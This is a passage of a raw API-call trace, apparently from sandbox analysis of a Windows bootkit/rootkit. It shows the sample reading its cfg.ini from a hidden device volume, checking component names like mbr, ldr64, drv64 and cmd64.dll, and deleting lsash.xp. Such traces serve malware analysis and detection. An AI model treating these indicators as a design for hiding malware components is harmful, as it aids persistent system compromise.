MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.166] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.166] IdePortDispatch () returned 0x103 [0124.166] KeWaitForMutexObject () returned 0x0 [0124.166] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.166] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.166] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.166] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.166] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.166] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef290 [0124.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.166] KeLeaveCriticalRegion () [0124.166] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.166] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.166] KeEnterCriticalRegion () [0124.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.166] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.166] KeLeaveCriticalRegion () [0124.166] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.166] KeEnterCriticalRegion () [0124.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.166] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.166] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.166] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.166] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.166] IdePortDispatch () returned 0x103 [0124.166] KeWaitForMutexObject () returned 0x0 [0124.167] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.167] KeLeaveCriticalRegion () [0124.167] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.167] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.167] KeEnterCriticalRegion () [0124.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.167] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003507000 [0124.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.167] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.167] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.167] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.167] IdePortDispatch () returned 0x103 [0124.167] KeWaitForMutexObject () returned 0x0 [0124.167] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.167] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.167] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.167] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.167] IdePortDispatch () returned 0x103 [0124.167] KeWaitForMutexObject () returned 0x0 [0124.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.167] KeLeaveCriticalRegion () [0124.167] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.168] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.168] KeEnterCriticalRegion () [0124.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.168] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.168] KeLeaveCriticalRegion () [0124.168] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.168] KeEnterCriticalRegion () [0124.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.168] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.168] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.168] KeLeaveCriticalRegion () [0124.168] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.168] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.168] KeEnterCriticalRegion () [0124.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.168] ExFreePoolWithTag (P=0xfffffa8003bef290, Tag=0x0) [0124.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.168] KeLeaveCriticalRegion () [0124.168] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.168] ReleaseMutex (hMutex=0xf0) returned 1 [0124.168] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.168] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.168] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.168] KeEnterCriticalRegion () [0124.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.168] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.168] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.168] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.168] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.168] IdePortDispatch () returned 0x103 [0124.169] KeWaitForMutexObject () returned 0x0 [0124.169] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.169] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.169] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.169] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.169] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.169] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0e10 [0124.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.169] KeLeaveCriticalRegion () [0124.169] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.170] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.170] KeEnterCriticalRegion () [0124.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.170] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.170] KeLeaveCriticalRegion () [0124.170] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.170] KeEnterCriticalRegion () [0124.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.170] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.170] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.170] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.170] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.170] IdePortDispatch () returned 0x103 [0124.170] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.170] KeLeaveCriticalRegion () [0124.170] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.170] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.170] KeEnterCriticalRegion () [0124.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.170] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003508000 [0124.170] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.170] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.170] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.170] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.170] IdePortDispatch () returned 0x103 [0124.171] KeWaitForMutexObject () returned 0x0 [0124.171] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.171] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.171] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.171] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.171] IdePortDispatch () returned 0x103 [0124.171] KeWaitForMutexObject () returned 0x0 [0124.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.171] KeLeaveCriticalRegion () [0124.171] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.171] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.171] KeEnterCriticalRegion () [0124.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.171] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.171] KeLeaveCriticalRegion () [0124.171] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.171] KeEnterCriticalRegion () [0124.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.171] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.171] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.172] KeLeaveCriticalRegion () [0124.172] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.172] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.172] KeEnterCriticalRegion () [0124.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.172] ExFreePoolWithTag (P=0xfffffa8003bf0e10, Tag=0x0) [0124.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.172] KeLeaveCriticalRegion () [0124.172] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.172] ReleaseMutex (hMutex=0xf0) returned 1 [0124.172] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.172] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.172] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.172] KeEnterCriticalRegion () [0124.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.172] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.172] IdePortDispatch () returned 0x103 [0124.172] KeWaitForMutexObject () returned 0x0 [0124.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.172] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.172] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.172] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.172] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.172] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be24b0 [0124.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.172] KeLeaveCriticalRegion () [0124.172] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.172] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.173] KeEnterCriticalRegion () [0124.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.173] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.173] KeLeaveCriticalRegion () [0124.173] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.173] KeEnterCriticalRegion () [0124.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.173] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.173] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.173] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.173] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.173] IdePortDispatch () returned 0x103 [0124.173] KeWaitForMutexObject () returned 0x0 [0124.173] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.173] KeLeaveCriticalRegion () [0124.173] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.173] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.173] KeEnterCriticalRegion () [0124.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.173] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003509000 [0124.173] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.173] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.173] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.173] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.173] IdePortDispatch () returned 0x103 [0124.173] KeWaitForMutexObject () returned 0x0 [0124.173] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.173] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.173] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.174] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.174] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.174] IdePortDispatch () returned 0x103 [0124.174] KeWaitForMutexObject () returned 0x0 [0124.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.174] KeLeaveCriticalRegion () [0124.174] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.174] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.174] KeEnterCriticalRegion () [0124.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.174] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.174] KeLeaveCriticalRegion () [0124.174] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.174] KeEnterCriticalRegion () [0124.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.174] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.174] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.174] KeLeaveCriticalRegion () [0124.174] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.174] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.175] KeEnterCriticalRegion () [0124.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.175] ExFreePoolWithTag (P=0xfffffa8003be24b0, Tag=0x0) [0124.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.175] KeLeaveCriticalRegion () [0124.175] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.175] ReleaseMutex (hMutex=0xf0) returned 1 [0124.175] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.175] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.175] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.175] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.175] KeEnterCriticalRegion () [0124.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.175] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.175] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.175] IdePortDispatch () returned 0x103 [0124.175] KeWaitForMutexObject () returned 0x0 [0124.175] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.175] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.175] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.175] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.175] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.175] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.175] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.175] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.175] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.175] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.175] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.175] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.175] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.175] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.175] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.175] KeLeaveCriticalRegion () [0124.175] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.175] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.176] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.176] KeEnterCriticalRegion () [0124.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) 